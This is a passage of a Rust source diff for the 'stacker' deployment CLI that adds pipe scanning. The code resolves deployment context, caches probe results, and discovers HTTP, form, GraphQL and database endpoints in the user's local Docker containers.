CreatePipeInstanceApiRequest, + CreatePipeTemplateApiRequest, DeploymentCapabilitiesInfo, PipeTemplateInfo, +}; +use crate::console::commands::CallableTrait; +use crate::forms::status_panel::{ + ProbeAttempt, ProbeContainer, ProbeEndpoint, ProbeEndpointsCommandReport, ProbeForm, + ProbeOperation, ProbeResource, ProbeResourceItem, +}; +use chrono::Utc; +use dialoguer::Password; +use pipe_adapter_mail::SmtpTargetAdapter; +use pipe_adapter_sdk::{ + builtin_registry, selector_matches_builtin_kind, PipeAdapterCatalog, PipeAdapterKind, + PipeAdapterMetadata, PipeAdapterPayload, PipeAdapterReference, PipeAdapterRole, + PipeTargetAdapter, +}; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use std::collections::{BTreeMap, BTreeSet}; +use std::io::{self, IsTerminal}; +use std::path::{Path, PathBuf}; + +/// Default poll timeout for pipe probe commands (seconds). +const PROBE_TIMEOUT_SECS: u64 = 90; + +/// Default poll interval (seconds). +const DEFAULT_POLL_INTERVAL_SECS: u64 = 2; + +/// Current on-disk schema version for cached pipe discovery results. +const PIPE_SCAN_CACHE_VERSION: u32 = 1; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Deployment hash resolution (mirrors agent module) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Resolve a deployment hash from explicit flag, deployment lock, or stacker.yml project name. +/// +/// Resolution order: +/// 1. Explicit `--deployment` flag value +/// 2. `.stacker/deployment.lock` -> `deployment_id` -> API lookup for hash +/// 3. `stacker.yml` project name -> API project lookup -> latest deployment hash +fn resolve_deployment_hash( + explicit: &Option, + ctx: &CliRuntime, +) -> Result { + match resolve_deployment_context(explicit, ctx)? { + DeploymentContext::Remote(hash) => Ok(hash), + DeploymentContext::Local => Err(CliError::ConfigValidation( + "This command requires a remote deployment, but the active target is 'local'.\n\ + Switch with: stacker target cloud" + .to_string(), + )), + } +} + +/// Deployment context resolved from CLI flags, active target, or lockfiles. +#[derive(Debug, Clone, PartialEq)] +pub enum DeploymentContext { + /// Remote deployment identified by hash. + Remote(String), + /// Local mode — no deployment hash, pipes run against local Docker. + Local, +} + +impl DeploymentContext { + /// Returns `true` when in local mode. + pub fn is_local(&self) -> bool { + matches!(self, DeploymentContext::Local) + } + + /// Returns the deployment hash if remote. + pub fn hash(&self) -> Option<&str> { + match self { + DeploymentContext::Remote(h) => Some(h), + DeploymentContext::Local => None, + } + } +} + +/// Helper that prepends `[local] ` when in local mode. +pub fn mode_prefix(ctx_mode: &DeploymentContext) -> &'static str { + match ctx_mode { + DeploymentContext::Local => "\x1b[36m[local]\x1b[0m ", + DeploymentContext::Remote(_) => "", + } +} + +/// Resolve the deployment context from explicit flag, active target, deployment lock, +/// or stacker.yml project name. +/// +/// Resolution order: +/// 1. Explicit `--deployment` flag value → `Remote(hash)` +/// 2. `.stacker/active-target` == "local" → `Local` +/// 3. Deployment lock → `deployment_id` → API lookup → `Remote(hash)` +/// 4. `stacker.yml` project name → API project lookup → `Remote(hash)` +fn resolve_deployment_context( + explicit: &Option, + ctx: &CliRuntime, +) -> Result { + // 1. Explicit flag always wins + if let Some(hash) = explicit { + if !hash.is_empty() { + return Ok(DeploymentContext::Remote(hash.clone())); + } + } + + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + + // 2. Check active target — if "local", return Local immediately + if let Some(target) = + crate::cli::deployment_lock::DeploymentLock::read_active_target(&project_dir)? + { + if target == "local" { + return Ok(DeploymentContext::Local); + } + } + + // 3. Deployment lock + if let Some(lock) = crate::cli::deployment_lock::DeploymentLock::load(&project_dir)? { + if let Some(dep_id) = lock.deployment_id { + let info = ctx.block_on(ctx.client.get_deployment_status(dep_id as i32))?; + if let Some(info) = info { + return Ok(DeploymentContext::Remote(info.deployment_hash)); + } + } + } + + // 4. stacker.yml project → active agent (most recent heartbeat) + let config_path = project_dir.join("stacker.yml"); + if config_path.exists() { + if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + if config.deploy.target == crate::cli::config_parser::DeployTarget::Local { + return Ok(DeploymentContext::Local); + } + + if let Some(ref project_name) = config.project.identity { + let project = ctx.block_on(ctx.client.find_project_by_name(project_name))?; + if let Some(proj) = project { + match ctx.block_on(ctx.client.agent_snapshot_by_project(proj.id)) { + Ok((_, hash)) => { + eprintln!( + "\x1b[2mℹ No --deployment specified — using active agent for project '{}': {}\x1b[0m", + project_name, hash + ); + return Ok(DeploymentContext::Remote(hash)); + } + Err(_) => {} + } + } + } + } + } + + Err(CliError::ConfigValidation( + "Cannot determine deployment context.\n\ + Use --deployment , run `stacker target local` for local mode,\n\ + or run from a directory with a deployment lock or stacker.yml." + .to_string(), + )) +} + +fn resolve_local_deployment_context( + explicit: &Option, + project_dir: &Path, +) -> Result, CliError> { + if explicit + .as_ref() + .map(|hash| !hash.trim().is_empty()) + .unwrap_or(false) + { + return Ok(None); + } + + if let Some(target) = + crate::cli::deployment_lock::DeploymentLock::read_active_target(project_dir)? + { + if target == "local" { + return Ok(Some(DeploymentContext::Local)); + } + } + + let config_path = project_dir.join("stacker.yml"); + if config_path.exists() { + if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + if config.deploy.target == crate::cli::config_parser::DeployTarget::Local { + return Ok(Some(DeploymentContext::Local)); + } + } + } + + Ok(None) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Shared agent command execution +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +fn run_agent_command( + ctx: &CliRuntime, + request: &AgentEnqueueRequest, + spinner_msg: &str, + timeout: u64, +) -> Result { + let pb = progress::spinner(spinner_msg); + + let result = ctx.block_on(async { + let info = ctx.client.agent_enqueue(request).await?; + let command_id = info.command_id.clone(); + let deployment_hash = request.deployment_hash.clone(); + + let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout); + let interval = std::time::Duration::from_secs(DEFAULT_POLL_INTERVAL_SECS); + let mut last_status = "pending".to_string(); + + loop { + tokio::time::sleep(interval).await; + + if tokio::time::Instant::now() >= deadline { + return Err(CliError::AgentCommandTimeout { + command_id: command_id.clone(), + command_type: spinner_msg.to_string(), + last_status, + deployment_hash, + }); + } + + let status = ctx + .client + .agent_command_status(&deployment_hash, &command_id) + .await?; + + last_status = status.status.clone(); + progress::update_message(&pb, &format!("{} [{}]", spinner_msg, status.status)); + + match status.status.as_str() { + "completed" | "failed" => return Ok(status), + _ => continue, + } + } + }); + + match &result { + Ok(info) if info.status == "completed" => { + progress::finish_success(&pb, &format!("{} done", spinner_msg)); + } + Ok(info) => { + progress::finish_error(&pb, &format!("{} -- {}", spinner_msg, info.status)); + } + Err(e) => { + progress::finish_error(&pb, &format!("{} -- {}", spinner_msg, e)); + } + } + + result +} + +fn validate_pipe_command_capabilities( + capabilities: &DeploymentCapabilitiesInfo, +) -> Result<(), CliError> { + if capabilities.features.pipes { + return Ok(()); + } + + let capabilities_list = if capabilities.capabilities.is_empty() { + "(none)".to_string() + } else { + capabilities.capabilities.join(", ") + }; + + Err(CliError::ConfigValidation(format!( + "The active agent for deployment '{}' does not support pipe commands.\n\ + Agent status: {}\n\ + Capabilities: {}\n\ + Update or relink the Status Panel agent so it advertises 'pipes', then retry.", + capabilities.deployment_hash, + if capabilities.status.is_empty() { + "unknown" + } else { + &capabilities.status + }, + capabilities_list + ))) +} + +fn ensure_remote_pipe_command_capability( + ctx: &CliRuntime, + deployment_hash: &str, +) -> Result<(), CliError> { + let capabilities = ctx.block_on(ctx.client.deployment_capabilities(deployment_hash))?; + validate_pipe_command_capabilities(&capabilities) +} + +fn print_command_result(info: &AgentCommandInfo, json_output: bool) { + if json_output { + if let Ok(j) = serde_json::to_string_pretty(info) { + println!("{}", j); + } + return; + } + + println!("Command: {}", info.command_id); + println!("Type: {}", info.command_type); + println!( + "Status: {} {}", + progress::status_icon(&info.status), + info.status + ); + + if let Some(ref result) = info.result { + println!("\n{}", fmt::pretty_json(result)); + } + + if let Some(ref error) = info.error { + eprintln!("\nError: {}", fmt::pretty_json(error)); + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe scan +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, PartialEq, Eq)] +struct LocalPortBinding { + container_port: u16, + host_port: Option, + host_ip: Option, + protocol: String, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +struct LocalContainerInfo { + id: String, + name: String, + image: String, + network: String, + addresses: Vec, + ports: Vec, + status: String, + env: BTreeMap, + labels: BTreeMap, +} + +fn default_local_probe_protocols() -> Vec { + vec![ + "openapi".to_string(), + "rest".to_string(), + "html_forms".to_string(), + "graphql".to_string(), + "postgres".to_string(), + "mysql".to_string(), + "redis".to_string(), + "rabbitmq".to_string(), + "kafka".to_string(), + "mcp".to_string(), + "websocket".to_string(), + "grpc".to_string(), + ] +} + +fn default_pipe_create_protocols() -> Vec { + vec![ + "openapi".to_string(), + "html_forms".to_string(), + "rest".to_string(), + ] +} + +fn normalize_protocols(protocols: &[String]) -> Vec { + protocols + .iter() + .map(|protocol| protocol.trim().to_ascii_lowercase()) + .filter(|protocol| !protocol.is_empty()) + .collect::>() + .into_iter() + .collect() +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +struct PipeDiscoverySelector { + mode: String, + selector_kind: String, + selector: String, + deployment_hash: Option, + container: Option, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +struct PipeDiscoveryRequest { + selector: PipeDiscoverySelector, + protocols_requested: Vec, + capture_samples: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct CachedPipeDiscovery { + version: u32, + selector: PipeDiscoverySelector, + protocols_requested: Vec, + capture_samples: bool, + cached_at: String, + report: ProbeEndpointsCommandReport, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +enum DiscoverySource { + Cached, + Fresh, + Synthetic, +} + +#[derive(Debug, Clone)] +struct DiscoveryRun { + info: AgentCommandInfo, + source: DiscoverySource, +} + +impl PipeDiscoveryRequest { + fn local(selector: &str, protocols: &[String], capture_samples: bool) -> Self { + Self { + selector: PipeDiscoverySelector { + mode: "local".to_string(), + selector_kind: "containers".to_string(), + selector: selector.to_string(), + deployment_hash: None, + container: None, + }, + protocols_requested: normalize_protocols(protocols), + capture_samples, + } + } + + fn remote( + deployment_hash: &str, + app: &str, + container: Option<&str>, + protocols: &[String], + capture_samples: bool, + ) -> Self { + Self { + selector: PipeDiscoverySelector { + mode: "remote".to_string(), + selector_kind: "app".to_string(), + selector: app.to_string(), + deployment_hash: Some(deployment_hash.to_string()), + container: container.map(str::to_string), + }, + protocols_requested: normalize_protocols(protocols), + capture_samples, + } + } +} + +fn pipe_scan_cache_dir(project_dir: &Path) -> PathBuf { + project_dir.join(".stacker").join("pipe-scan-cache") +} + +fn encode_cache_key(value: &T) -> Result { + let payload = serde_json::to_vec(value).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to serialize pipe discovery cache key: {err}" + )) + })?; + let digest = Sha256::digest(payload); + Ok(digest.iter().map(|byte| format!("{:02x}", byte)).collect()) +} + +fn exact_pipe_scan_cache_path( + project_dir: &Path, + request: &PipeDiscoveryRequest, +) -> Result { + Ok(pipe_scan_cache_dir(project_dir).join(format!("{}.json", encode_cache_key(request)?))) +} + +fn latest_pipe_scan_cache_path( + project_dir: &Path, + selector: &PipeDiscoverySelector, +) -> Result { + Ok(pipe_scan_cache_dir(project_dir) + .join(format!("latest-{}.json", encode_cache_key(selector)?))) +} + +fn read_cached_pipe_discovery(path: &Path) -> Result, CliError> { + if !path.exists() { + return Ok(None); + } + + let bytes = std::fs::read(path).map_err(CliError::Io)?; + let cached: CachedPipeDiscovery = serde_json::from_slice(&bytes).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to parse pipe discovery cache ({}): {}", + path.display(), + err + )) + })?; + + Ok((cached.version == PIPE_SCAN_CACHE_VERSION).then_some(cached)) +} + +fn cache_entry_to_agent_info(entry: &CachedPipeDiscovery) -> Result { + Ok(AgentCommandInfo { + command_id: format!("cached-{}", encode_cache_key(&entry.selector)?), + deployment_hash: entry.report.deployment_hash.clone(), + command_type: "probe_endpoints".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: Some(serde_json::json!({ + "app_code": entry.selector.selector.clone(), + "container": entry.selector.container.clone(), + "protocols": entry.protocols_requested.clone(), + "capture_samples": entry.capture_samples, + })), + result: Some(serde_json::to_value(&entry.report).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to serialize cached pipe discovery report: {}", + err + )) + })?), + error: None, + created_at: entry.cached_at.clone(), + updated_at: entry.cached_at.clone(), + }) +} + +fn write_pipe_scan_cache( + project_dir: &Path, + request: &PipeDiscoveryRequest, + report: &ProbeEndpointsCommandReport, +) -> Result<(), CliError> { + let cache_dir = pipe_scan_cache_dir(project_dir); + std::fs::create_dir_all(&cache_dir).map_err(CliError::Io)?; + + let entry = CachedPipeDiscovery { + version: PIPE_SCAN_CACHE_VERSION, + selector: request.selector.clone(), + protocols_requested: request.protocols_requested.clone(), + capture_samples: request.capture_samples, + cached_at: Utc::now().to_rfc3339(), + report: report.clone(), + }; + let payload = serde_json::to_vec_pretty(&entry).map_err(|err| { + CliError::ConfigValidation(format!("Failed to serialize pipe discovery cache: {}", err)) + })?; + + let exact_path = exact_pipe_scan_cache_path(project_dir, request)?; + std::fs::write(&exact_path, &payload).map_err(CliError::Io)?; + + let latest_path = latest_pipe_scan_cache_path(project_dir, &request.selector)?; + std::fs::write(&latest_path, &payload).map_err(CliError::Io)?; + Ok(()) +} + +fn load_latest_pipe_scan_cache( + project_dir: &Path, + selector: &PipeDiscoverySelector, +) -> Result, CliError> { + let path = latest_pipe_scan_cache_path(project_dir, selector)?; + let Some(entry) = read_cached_pipe_discovery(&path)? else { + return Ok(None); + }; + cache_entry_to_agent_info(&entry).map(Some) +} + +fn load_exact_pipe_scan_cache( + project_dir: &Path, + request: &PipeDiscoveryRequest, +) -> Result, CliError> { + let path = exact_pipe_scan_cache_path(project_dir, request)?; + let Some(entry) = read_cached_pipe_discovery(&path)? else { + return Ok(None); + }; + cache_entry_to_agent_info(&entry).map(Some) +} + +fn detection_outcome( + endpoints: &[ProbeEndpoint], + forms: &[ProbeForm], + resources: &[ProbeResource], +) -> String { + if !endpoints.is_empty() || !forms.is_empty() || !resources.is_empty() { + "detected".to_string() + } else { + "empty".to_string() + } +} + +fn selector_is_smtpish(selector: &str) -> bool { + let canonical = ServiceCatalog::resolve_alias(selector); + selector_matches_builtin_kind(&canonical, PipeAdapterKind::SmtpTarget) + || selector_matches_builtin_kind(selector, PipeAdapterKind::SmtpTarget) +} + +fn classify_probe_target_kind(selector: &str, report: &ProbeEndpointsCommandReport) -> String { + if !report.endpoints.is_empty() { + return "http_endpoint".to_string(); + } + if !report.forms.is_empty() { + return "html_form".to_string(); + } + + let resource_protocols = report + .resources + .iter() + .map(|resource| resource.protocol.to_ascii_lowercase()) + .collect::>(); + if resource_protocols.contains("smtp") || selector_is_smtpish(selector) { + return "smtp".to_string(); + } + if resource_protocols.len() == 1 { + return resource_protocols + .iter() + .next() + .cloned() + .unwrap_or_else(|| "resource".to_string()); + } + if resource_protocols.len() > 1 { + return "resource".to_string(); + } + if selector_is_smtpish(selector) { + return "smtp".to_string(); + } + + "unknown".to_string() +} + +fn enrich_probe_report_metadata( + report: &mut ProbeEndpointsCommandReport, + selector: &str, + container: Option<&str>, + request: &PipeDiscoveryRequest, +) { + if report.protocols_requested.is_empty() { + report.protocols_requested = request.protocols_requested.clone(); + } + + if report.probe_attempts.is_empty() { + report.probe_attempts.push(ProbeAttempt { + scope: if request.selector.mode == "local" { + "local_selector".to_string() + } else { + "remote_app".to_string() + }, + selector: Some(selector.to_string()), + container: container.map(str::to_string), + protocols: report.protocols_requested.clone(), + outcome: detection_outcome(&report.endpoints, &report.forms, &report.resources), + }); + } + + if report.target_kind.is_none() { + report.target_kind = Some(classify_probe_target_kind(selector, report)); + } +} + +fn decode_probe_report(info: &AgentCommandInfo) -> Result { + let result = info.result.clone().ok_or_else(|| { + CliError::ConfigValidation("probe_endpoints result payload is missing".to_string()) + })?; + serde_json::from_value(result).map_err(|err| { + CliError::ConfigValidation(format!("Invalid probe_endpoints result payload: {}", err)) + }) +} + +fn with_probe_report( + mut info: AgentCommandInfo, + report: &ProbeEndpointsCommandReport, +) -> Result { + info.result = Some(serde_json::to_value(report).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to encode probe_endpoints result payload: {}", + err + )) + })?); + Ok(info) +} + +fn parse_port_key(key: &str) -> Option<(u16, String)> { + let mut parts = key.split('/'); + let port = parts.next()?.parse::().ok()?; + let protocol = parts.next().unwrap_or("tcp").to_string(); + Some((port, protocol)) +} + +fn parse_env_map(values: &[serde_json::Value]) -> BTreeMap { + let mut env = BTreeMap::new(); + for value in values { + if let Some(entry) = value.as_str() { + if let Some((key, val)) = entry.split_once('=') { + env.insert(key.to_string(), val.to_string()); + } + } + } + env +} + +fn parse_string_map(value: Option<&serde_json::Value>) -> BTreeMap { + let mut map = BTreeMap::new(); + if let Some(obj) = value.and_then(|v| v.as_object()) { + for (key, val) in obj { + if let Some(str_val) = val.as_str() { + map.insert(key.clone(), str_val.to_string()); + } + } + } + map +} + +fn parse_local_container_inspect( + value: &serde_json::Value, +) -> Result { + let id = value["Id"] + .as_str() + .ok_or_else(|| CliError::ConfigValidation("docker inspect missing Id".to_string()))? + .to_string(); + let name = value["Name"] + .as_str() + .unwrap_or("") + .trim_start_matches('/') + .to_string(); + let image = value["Config"]["Image"].as_str().unwrap_or("").to_string(); + let status = value["State"]["Status"].as_str().unwrap_or("").to_string(); + let env = parse_env_map( + value["Config"]["Env"] + .as_array() + .map(Vec::as_slice) + .unwrap_or(&[]), + ); + let labels = parse_string_map(value["Config"].get("Labels")); + + let mut addresses = Vec::new(); + let mut network = String::new(); + if let Some(networks) = value["NetworkSettings"]["Networks"].as_object() { + for (network_name, network_info) in networks { + if network.is_empty() { + network = network_name.clone(); + } + if let Some(ip) = network_info["IPAddress"].as_str() { + if !ip.is_empty() { + addresses.push(ip.to_string()); + } + } + } + } + + let mut ports = Vec::new(); + let mut seen = BTreeSet::new(); + if let Some(port_map) = value["NetworkSettings"]["Ports"].as_object() { + for (key, host_bindings) in port_map { + if let Some((container_port, protocol)) = parse_port_key(key) { + let binding_targets: Vec<(Option, Option)> = + if let Some(bindings) = host_bindings.as_array() { + bindings + .iter() + .map(|binding| { + ( + binding["HostPort"] + .as_str() + .and_then(|v| v.parse::().ok()), + binding["HostIp"].as_str().map(str::to_string), + ) + }) + .collect() + } else { + vec![(None, None)] + }; + for (host_port, host_ip) in binding_targets { + if seen.insert((container_port, host_port, protocol.clone())) { + ports.push(LocalPortBinding { + container_port, + host_port, + host_ip, + protocol: protocol.clone(), + }); + } + } + } + } + } + + if let Some(exposed) = value["Config"]["ExposedPorts"].as_object() { + for key in exposed.keys() { + if let Some((container_port, protocol)) = parse_port_key(key) { + if seen.insert((container_port, None, protocol.clone())) { + ports.push(LocalPortBinding { + container_port, + host_port: None, + host_ip: None, + protocol, + }); + } + } + } + } + + if ports.is_empty() { + for env_key in ["PORT", "APP_PORT", "SERVICE_PORT", "HTTP_PORT"] { + if let Some(value) = env.get(env_key).and_then(|v| v.parse::().ok()) { + ports.push(LocalPortBinding { + container_port: value, + host_port: None, + host_ip: None, + protocol: "tcp".to_string(), + }); + } + } + } + + Ok(LocalContainerInfo { + id, + name, + image, + network, + addresses, + ports, + status, + env, + labels, + }) +} + +fn docker_host_http_target(host_ip: Option<&str>, host_port: u16) -> String { + match host_ip.unwrap_or_default() { + "::" => format!("http://[::1]:{}", host_port), + "" | "0.0.0.0" => format!("http://localhost:{}", host_port), + ip if ip.contains(':') => format!("http://[{}]:{}", ip, host_port), + ip => format!("http://{}:{}", ip, host_port), + } +} + +fn docker_host_target(host_ip: Option<&str>) -> String { + match host_ip.unwrap_or_default() { + "::" | "" | "0.0.0.0" => "127.0.0.1".to_string(), + ip => ip.to_string(), + } +} + +fn local_http_candidate_urls(container: &LocalContainerInfo) -> Vec { + let mut urls = Vec::new(); + let mut seen = BTreeSet::new(); + for port in &container.ports { + if port.protocol != "tcp" { + continue; + } + if let Some(host_port) = port.host_port { + let url = docker_host_http_target(port.host_ip.as_deref(), host_port); + if seen.insert(url.clone()) { + urls.push(url); + } + } + for address in &container.addresses { + let url = format!("http://{}:{}", address, port.container_port); + if seen.insert(url.clone()) { + urls.push(url); + } + } + } + urls +} + +fn docker_exec(container: &str, args: &[String]) -> Option { + let output = std::process::Command::new("docker") + .arg("exec") + .arg(container) + .args(args) + .output() + .ok()?; + if !output.status.success() { + return None; + } + let stdout = String::from_utf8(output.stdout).ok()?; + let trimmed = stdout.trim().to_string(); + if trimmed.is_empty() { + None + } else { + Some(trimmed) + } +} + +fn local_resource_probe_plan(container: &LocalContainerInfo) -> Vec { + let identity = format!( + "{} {}", + container.name.to_lowercase(), + container.image.to_lowercase() + ); + let mut plan = Vec::new(); + for (needle, protocol) in [ + ("postgres", "postgres"), + ("timescaledb", "postgres"), + ("mysql", "mysql"), + ("mariadb", "mysql"), + ("redis", "redis"), + ("rabbitmq", "rabbitmq"), + ("kafka", "kafka"), + ("mcp", "mcp"), + ("grpc", "grpc"), + ("ws", "websocket"), + ("socket", "websocket"), + ] { + if identity.contains(needle) && !plan.iter().any(|item| item == protocol) { + plan.push(protocol.to_string()); + } + } + for port in &container.ports { + match port.container_port { + 5432 => plan.push("postgres".to_string()), + 3306 => plan.push("mysql".to_string()), + 6379 => plan.push("redis".to_string()), + 5672 | 15672 => plan.push("rabbitmq".to_string()), + 9092 => plan.push("kafka".to_string()), + 50051 | 50052 => plan.push("grpc".to_string()), + _ => {} + } + } + plan.sort(); + plan.dedup(); + plan +} + +fn parse_openapi_fields(operation: &serde_json::Value) -> Vec { + let mut fields = Vec::new(); + if let Some(parameters) = operation["parameters"].as_array() { + for param in parameters { + if let Some(name) = param["name"].as_str() { + fields.push(name.to_string()); + } + } + } + if let Some(content) = operation["requestBody"]["content"].as_object() { + for schema in content.values() { + if let Some(properties) = schema["schema"]["properties"].as_object() { + for key in properties.keys() { + if !fields.contains(key) { + fields.push(key.clone()); + } + } + } + } + } + fields +} + +fn parse_openapi_endpoint( + container_name: &str, + base_url: &str, + spec_url: &str, + doc: &serde_json::Value, +) -> Option { + let paths = doc["paths"].as_object()?; + let mut operations = Vec::new(); + for (path, path_item) in paths { + for method in ["get", "post", "put", "patch", "delete"] { + if let Some(operation) = path_item.get(method) { + operations.push(ProbeOperation { + path: path.clone(), + method: method.to_uppercase(), + summary: operation["summary"].as_str().unwrap_or("").to_string(), + fields: parse_openapi_fields(operation), + sample_response: None, + }); + } + } + } + if operations.is_empty() { + return None; + } + Some(ProbeEndpoint { + container: Some(container_name.to_string()), + protocol: "openapi".to_string(), + base_url: base_url.to_string(), + spec_url: spec_url.to_string(), + operations, + }) +} + +fn try_parse_json(value: &str) -> Option { + serde_json::from_str(value).ok() +} + +fn local_http_probe( + container: &LocalContainerInfo, + protocols: &[String], + capture_samples: bool, + timeout_secs: u64, +) -> (Vec, Vec, Vec) { + let mut endpoints = Vec::new(); + let mut forms = Vec::new(); + let mut detected = Vec::new(); + let client = match reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(timeout_secs)) + .danger_accept_invalid_certs(true) + .build() + { + Ok(client) => client, + Err(_) => return (endpoints, forms, detected), + }; + + let urls = local_http_candidate_urls(container); + let mut seen_endpoint = BTreeSet::new(); + let protocol_set: BTreeSet = protocols.iter().map(|p| p.to_lowercase()).collect(); + + if protocol_set.contains("openapi") { + for base_url in &urls { + for spec_url in [ + "/openapi.json", + "/swagger.json", + "/api/openapi.json", + "/v3/api-docs", + "/swagger/v1/swagger.json", + ] { + let full_url = format!("{}{}", base_url, spec_url); + let Ok(response) = client.get(&full_url).send() else { + continue; + }; + if !response.status().is_success() { + continue; + } + let Ok(body) = response.text() else { + continue; + }; + let Some(json) = try_parse_json(&body) else { + continue; + }; + if json.get("paths").is_none() { + continue; + } + if let Some(endpoint) = + parse_openapi_endpoint(&container.name, base_url, spec_url, &json) + { + let key = format!("openapi:{}{}", base_url, spec_url); + if seen_endpoint.insert(key) { + endpoints.push(endpoint); + detected.push("openapi".to_string()); + } + } + } + } + } + + if protocol_set.contains("rest") { + for base_url in &urls { + for path in ["/health", "/healthz", "/ready", "/api", "/"] { + let full_url = format!("{}{}", base_url, path); + let Ok(response) = client.get(&full_url).send() else { + continue; + }; + if !response.status().is_success() { + continue; + } + let content_type = response + .headers() + .get(reqwest::header::CONTENT_TYPE) + .and_then(|v| v.to_str().ok()) + .unwrap_or("") + .to_string(); + let Ok(body) = response.text() else { + continue; + }; + if content_type.contains("html") { + continue; + } + let sample = if capture_samples { + try_parse_json(&body) + } else { + None + }; + let key = format!("rest:{}{}", base_url, path); + if seen_endpoint.insert(key) { + endpoints.push(ProbeEndpoint { + container: Some(container.name.clone()), + protocol: "rest".to_string(), + base_url: base_url.to_string(), + spec_url: String::new(), + operations: vec![ProbeOperation { + path: path.to_string(), + method: "GET".to_string(), + summary: "Discovered local HTTP endpoint".to_string(), + fields: Vec::new(), + sample_response: sample, + }], + }); + detected.push("rest".to_string()); + } + } + } + } + + if protocol_set.contains("html_forms") { + let form_re = + Regex::new(r#"(?si)]*)>(.*?)"#).expect("form regex must compile"); + let action_re = + Regex::new(r#"action=["']?([^"'\s>]+)"#).expect("action regex must compile"); + let method_re = + Regex::new(r#"method=["']?([^"'\s>]+)"#).expect("method regex must compile"); + let id_re = Regex::new(r#"id=["']?([^"'\s>]+)"#).expect("id regex must compile"); + let field_re = Regex::new(r#"(?:input|select|textarea)[^>]*name=["']?([^"'\s>]+)"#) + .expect("field regex must compile"); + + for base_url in &urls { + for path in ["/", "/login", "/signup", "/contact"] { + let full_url = format!("{}{}", base_url, path); + let Ok(response) = client.get(&full_url).send() else { + continue; + }; + if !response.status().is_success() { + continue; + } + let content_type = response + .headers() + .get(reqwest::header::CONTENT_TYPE) + .and_then(|v| v.to_str().ok()) + .unwrap_or("") + .to_string(); + if !content_type.contains("html") { + continue; + } + let Ok(body) = response.text() else { + continue; + }; + for capture in form_re.captures_iter(&body) { + let attrs = capture.get(1).map(|m| m.as_str()).unwrap_or(""); + let inner = capture.get(2).map(|m| m.as_str()).unwrap_or(""); + let action = action_re + .captures(attrs) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().to_string()) + .unwrap_or_else(|| path.to_string()); + let method = method_re + .captures(attrs) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().to_uppercase()) + .unwrap_or_else(|| "GET".to_string()); + let id = id_re + .captures(attrs) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().to_string()) + .unwrap_or_else(|| format!("{}{}", container.name, path)); + let fields = field_re + .captures_iter(inner) + .filter_map(|c| c.get(1).map(|m| m.as_str().to_string())) + .collect::>(); + forms.push(ProbeForm { + container: Some(container.name.clone()), + id, + action, + method, + fields, + }); + detected.push("html_forms".to_string()); + } + } + } + } + + if protocol_set.contains("graphql") { + let introspection = serde_json::json!({ + "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } } }" + }); + for base_url in &urls { + for path in ["/graphql", "/api/graphql"] { + let full_url = format!("{}{}", base_url, path); + let Ok(response) = client.post(&full_url).json(&introspection).send() else { + continue; + }; + if !response.status().is_success() { + continue; + } + let Ok(body) = response.text() else { + continue; + }; + let Some(json) = try_parse_json(&body) else { + continue; + }; + if json.get("data").is_none() { + continue; + } + let key = format!("graphql:{}{}", base_url, path); + if seen_endpoint.insert(key) { + endpoints.push(ProbeEndpoint { + container: Some(container.name.clone()), + protocol: "graphql".to_string(), + base_url: base_url.to_string(), + spec_url: path.to_string(), + operations: vec![ProbeOperation { + path: path.to_string(), + method: "POST".to_string(), + summary: "GraphQL endpoint".to_string(), + fields: vec!["query".to_string(), "variables".to_string()], + sample_response: if capture_samples { Some(json) } else { None }, + }], + }); + detected.push("graphql".to_string()); + } + } + } + } + + (endpoints, forms, detected) +} + +fn first_container_address(container: &LocalContainerInfo, default_port: u16) -> String { + if let Some(port) = container + .ports + .iter() + .find(|port| port.container_port == default_port) + { + if let Some(host_port) = port.host_port { + return docker_host_http_target(port.host_ip.as_deref(), host_port) + .trim_start_matches("http://") + .to_string(); + } + } + container + .addresses + .first() + .map(|ip| format!("{}:{}", ip, default_port)) + .unwrap_or_else(|| format!("{}:{}", container.name, default_port)) +} + +fn local_resource_probe( + container: &LocalContainerInfo, + protocols: &[String], +) -> (Vec, Vec) { + let mut resources = Vec::new(); + let mut detected = Vec::new(); + let requested: BTreeSet = protocols.iter().map(|p| p.to_lowercase()).collect(); + + if requested.contains("postgres") + && local_resource_probe_plan(container) + .iter() + .any(|p| p == "postgres") + { + let user = container + .env + .get("POSTGRES_USER") + .cloned() + .unwrap_or_else(|| "postgres".to_string()); + let db = container + .env + .get("POSTGRES_DB") + .cloned() + .unwrap_or_else(|| user.clone()); + let command = vec![ + "psql".to_string(), + "-U".to_string(), + user.clone(), + "-d".to_string(), + db.clone(), + "-Atqc".to_string(), + "SELECT table_schema||'.'||table_name FROM information_schema.tables WHERE table_schema 